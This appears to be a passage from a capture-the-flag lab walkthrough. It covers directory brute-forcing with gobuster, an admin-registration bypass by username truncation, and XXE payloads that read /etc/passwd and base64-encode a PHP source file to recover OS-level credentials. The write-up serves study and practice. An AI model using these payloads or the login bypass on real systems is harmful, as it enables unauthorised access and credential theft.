gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
File Inspection
Kali
cat report
Kali
strings report
Bypass Login Restrictions.
Based off we saw in the file there is a admin user. The username field has a character limit which will stop us from registering a username that is too long but we can try in burp.
The original request. It will fail to register.
We can just add a random character to the end which will cut off and then it will register the user as admin.
We can now login as the admin user
XEE - Read files
Add
<!DOCTYPE replace [<!ENTITY test SYSTEM "file:///etc/passwd"> ]>
<search>&test;</search>
Add
<!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>
<search>&test;</search>
We echo and decode the file and we see the creds for the user cyber which we saw above has an account to the OS level of the box.
